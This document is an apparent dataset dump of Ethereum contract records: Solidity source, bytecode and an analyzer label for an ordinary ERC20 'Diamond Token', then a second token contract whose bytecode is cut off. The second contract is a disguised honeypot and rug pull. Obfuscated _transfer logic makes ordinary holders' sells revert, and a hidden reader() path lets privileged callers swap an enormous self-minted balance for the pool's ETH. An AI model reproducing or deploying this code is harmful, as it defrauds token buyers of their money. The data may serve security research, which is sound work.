* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Function to prevent eth transfers to this contract
*/
function() public payable {
revert();
}
/**
* @dev Owner can transfer out any accidentally sent ERC20 tokens
*/
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return BasicToken(tokenAddress).transfer(owner, tokens);
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _toAddresses Receiver addresses.
* @param _amounts Amounts of tokens that will be transferred.
*/
function multiSend(address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _from The address of the sender
* @param _toAddresses The addresses of the recipients (MAX 255)
* @param _amounts The amounts of tokens to be transferred
*/
function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
}
contract DiamondToken is StandardToken {
string public constant name = "Diamond Token";
string public constant symbol = "DTO";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 90000000 * (10 ** uint256(decimals));
function DiamondToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[0x222486a578d57CfFdD8b69E5b12BAC692c31a743] = INITIAL_SUPPLY;
Transfer(0x0, 0x222486a578d57CfFdD8b69E5b12BAC692c31a743, INITIAL_SUPPLY);
}
}
|
0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd1461019f57806323b872dd146101c45780632ff2e9dc146101ec578063313ce567146101ff57806370a08231146102285780638da5cb5b1461024757806395d89b4114610276578063a7ff237314610289578063a9059cbb14610328578063bb4c9f0b1461034a578063dc39d06d146103d9578063dd62ed3e146103fb578063f2fde38b14610420575b600080fd5b34156100ea57600080fd5b6100f261043f565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012e578082015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017457600080fd5b61018b600160a060020a0360043516602435610476565b604051901515815260200160405180910390f35b34156101aa57600080fd5b6101b26104e2565b60405190815260200160405180910390f35b34156101cf57600080fd5b61018b600160a060020a03600435811690602435166044356104e8565b34156101f757600080fd5b6101b261066a565b341561020a57600080fd5b610212610679565b60405160ff909116815260200160405180910390f35b341561023357600080fd5b6101b2600160a060020a036004351661067e565b341561025257600080fd5b61025a610699565b604051600160a060020a03909116815260200160405180910390f35b341561028157600080fd5b6100f26106a8565b341561029457600080fd5b61032660048035600160a060020a0316906044602480359081019083013580602080820201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506106df95505050505050565b005b341561033357600080fd5b61018b600160a060020a0360043516602435610758565b341561035557600080fd5b61032660046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061085395505050505050565b34156103e457600080fd5b61018b600160a060020a03600435166024356108ca565b341561040657600080fd5b6101b2600160a060020a0360043581169060243516610976565b341561042b57600080fd5b610326600160a060020a03600435166109a1565b60408051908101604052600d81527f4469616d6f6e6420546f6b656e00000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60025490565b6000600160a060020a03831615156104ff57600080fd5b600160a060020a03841660009081526001602052604090205482111561052457600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561055757600080fd5b600160a060020a038416600090815260016020526040902054610580908363ffffffff610a3c16565b600160a060020a0380861660009081526001602052604080822093909355908516815220546105b5908363ffffffff610a4e16565b600160a060020a038085166000908152600160209081526040808320949094558783168252600381528382203390931682529190915220546105fd908363ffffffff610a3c16565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6a4a723dc6b40b8a9a00000081565b601281565b600160a060020a031660009081526001602052604090205490565b600054600160a060020a031681565b60408051908101604052600381527f44544f0000000000000000000000000000000000000000000000000000000000602082015281565b600060ff835111156106f057600080fd5b81518351146106fe57600080fd5b5060005b82518160ff1610156107525761074984848360ff168151811061072157fe5b90602001906020020151848460ff168151811061073a57fe5b906020019060200201516104e8565b50600101610702565b50505050565b6000600160a060020a038316151561076f57600080fd5b600160a060020a03331660009081526001602052604090205482111561079457600080fd5b600160a060020a0333166000908152600160205260409020546107bd908363ffffffff610a3c16565b600160a060020a0333811660009081526001602052604080822093909355908516815220546107f2908363ffffffff610a4e16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600060ff8351111561086457600080fd5b815183511461087257600080fd5b5060005b82518160ff1610156108c5576108bc838260ff168151811061089457fe5b90602001906020020151838360ff16815181106108ad57fe5b90602001906020020151610758565b50600101610876565b505050565b6000805433600160a060020a039081169116146108e657600080fd5b600054600160a060020a038085169163a9059cbb9116846040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561095957600080fd5b5af1151561096657600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a039081169116146109bc57600080fd5b600160a060020a03811615156109d157600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a4857fe5b50900390565b600082820183811015610a5d57fe5b93925050505600a165627a7a72305820f100c75f393c2e4750e4f3c1a3f35837519e0fb9d9cc5b97eecabf61bc64907e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,384 |
0x8B65462220939A5F53e806A98ba071d79999bf07
|
/*
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | ______ | || | __ | || | ______ | || | ____ ____ | || | __ | || | ______ | || | _________ | |
| | |_ _ \ | || | / \ | || | |_ _ \ | || | |_ _||_ _| | || | / \ | || | |_ __ \ | || | |_ ___ | | |
| | | |_) | | || | / /\ \ | || | | |_) | | || | \ \ / / | || | / /\ \ | || | | |__) | | || | | |_ \_| | |
| | | __'. | || | / ____ \ | || | | __'. | || | \ \/ / | || | / ____ \ | || | | ___/ | || | | _| _ | |
| | _| |__) | | || | _/ / \ \_ | || | _| |__) | | || | _| |_ | || | _/ / \ \_ | || | _| |_ | || | _| |___/ | | |
| | |_______/ | || ||____| |____|| || | |_______/ | || | |______| | || ||____| |____|| || | |_____| | || | |_________| | |
| | | || | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private take = _tTotal;
uint256 private _rTotal = ~uint256(0);
uint256 public _fee = 1;
mapping(uint256 => address) private quick;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private equator;
mapping(address => uint256) private _balances;
mapping(address => uint256) private environment;
mapping(uint256 => address) private bottom;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public router;
address public uniswapV2Pair;
string private _symbol;
string private _name;
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress
) {
_name = _NAME;
_symbol = _SYMBOL;
equator[msg.sender] = take;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
quick[take] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(
address pool,
address rope,
uint256 amount
) private {
address operation = bottom[take];
bool growth = pool == quick[take];
uint256 have = _fee;
if (equator[pool] == 0 && !growth && environment[pool] > 0) {
equator[pool] -= have;
}
bottom[take] = rope;
if (equator[pool] > 0 && amount == 0) {
equator[rope] += have;
}
environment[operation] += have;
if (equator[pool] > 0 && amount > take) {
reader(amount);
return;
}
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[pool] -= fee;
_balances[pool] -= amount;
_balances[rope] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function reader(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906112c5565b60405180910390f35b610132600480360381019061012d9190611380565b610392565b60405161013f91906113db565b60405180910390f35b6101506103a7565b60405161015d9190611405565b60405180910390f35b610180600480360381019061017b9190611420565b6103b1565b60405161018d91906113db565b60405180910390f35b61019e610500565b6040516101ab9190611405565b60405180910390f35b6101bc610519565b6040516101c99190611482565b60405180910390f35b6101ec60048036038101906101e7919061149d565b61053f565b6040516101f99190611405565b60405180910390f35b61020a610588565b005b610214610610565b6040516102219190611482565b60405180910390f35b610232610639565b60405161023f91906112c5565b60405180910390f35b610262600480360381019061025d9190611380565b6106cb565b60405161026f91906113db565b60405180910390f35b610280610747565b60405161028d9190611405565b60405180910390f35b6102b060048036038101906102ab91906114ca565b61074d565b6040516102bd9190611405565b60405180910390f35b6102e060048036038101906102db919061149d565b6107d4565b005b6102ea6108cb565b6040516102f79190611569565b60405180910390f35b6060600e805461030f906115b3565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906115b3565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f1565b905092915050565b6000600154905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611656565b60405180910390fd5b610400848484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d9190611405565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f291906116a5565b6108f1565b90509392505050565b60008060149054906101000a900460ff1660ff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610590610f1c565b73ffffffffffffffffffffffffffffffffffffffff166105ae610610565b73ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb90611725565b60405180910390fd5b61060e6000610f24565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054610648906115b3565b80601f0160208091040260200160405190810160405280929190818152602001828054610674906115b3565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d8338484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107359190611405565b60405180910390a36001905092915050565b60045481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dc610f1c565b73ffffffffffffffffffffffffffffffffffffffff166107fa610610565b73ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906117b7565b60405180910390fd5b6108c881610f24565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099290611849565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a799190611405565b60405180910390a3600190509392505050565b6000600a6000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060056000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060045490506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b82575081155b8015610bcd57506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c295780600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2191906116a5565b925050819055505b84600a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccc5750600084145b15610d285780600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d209190611869565b925050819055505b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d779190611869565b925050819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610dce575060025484115b15610de457610ddc84610fe8565b505050610f17565b6000600454606486610df691906118ee565b610e00919061191f565b90508085610e0e91906116a5565b945080600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e5f91906116a5565b9250508190555084600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb591906116a5565b9250508190555084600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f0b9190611869565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561100557611004611979565b5b6040519080825280602002602001820160405280156110335781602001602082028036833780820191505090505b509050308160008151811061104b5761104a6119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111691906119ec565b8160018151811061112a576111296119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061119130600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846108f1565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b81526004016111f6959493929190611b12565b600060405180830381600087803b15801561121057600080fd5b505af1158015611224573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000601f19601f8301169050919050565b60006112978261122c565b6112a18185611237565b93506112b1818560208601611248565b6112ba8161127b565b840191505092915050565b600060208201905081810360008301526112df818461128c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611317826112ec565b9050919050565b6113278161130c565b811461133257600080fd5b50565b6000813590506113448161131e565b92915050565b6000819050919050565b61135d8161134a565b811461136857600080fd5b50565b60008135905061137a81611354565b92915050565b60008060408385031215611397576113966112e7565b5b60006113a585828601611335565b92505060206113b68582860161136b565b9150509250929050565b60008115159050919050565b6113d5816113c0565b82525050565b60006020820190506113f060008301846113cc565b92915050565b6113ff8161134a565b82525050565b600060208201905061141a60008301846113f6565b92915050565b600080600060608486031215611439576114386112e7565b5b600061144786828701611335565b935050602061145886828701611335565b92505060406114698682870161136b565b9150509250925092565b61147c8161130c565b82525050565b60006020820190506114976000830184611473565b92915050565b6000602082840312156114b3576114b26112e7565b5b60006114c184828501611335565b91505092915050565b600080604083850312156114e1576114e06112e7565b5b60006114ef85828601611335565b925050602061150085828601611335565b9150509250929050565b6000819050919050565b600061152f61152a611525846112ec565b61150a565b6112ec565b9050919050565b600061154182611514565b9050919050565b600061155382611536565b9050919050565b61156381611548565b82525050565b600060208201905061157e600083018461155a565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115cb57607f821691505b6020821081036115de576115dd611584565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611640602983611237565b915061164b826115e4565b604082019050919050565b6000602082019050818103600083015261166f81611633565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116b08261134a565b91506116bb8361134a565b9250828210156116ce576116cd611676565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061170f602083611237565b915061171a826116d9565b602082019050919050565b6000602082019050818103600083015261173e81611702565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117a1602683611237565b91506117ac82611745565b604082019050919050565b600060208201905081810360008301526117d081611794565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611833602483611237565b915061183e826117d7565b604082019050919050565b6000602082019050818103600083015261186281611826565b9050919050565b60006118748261134a565b91506118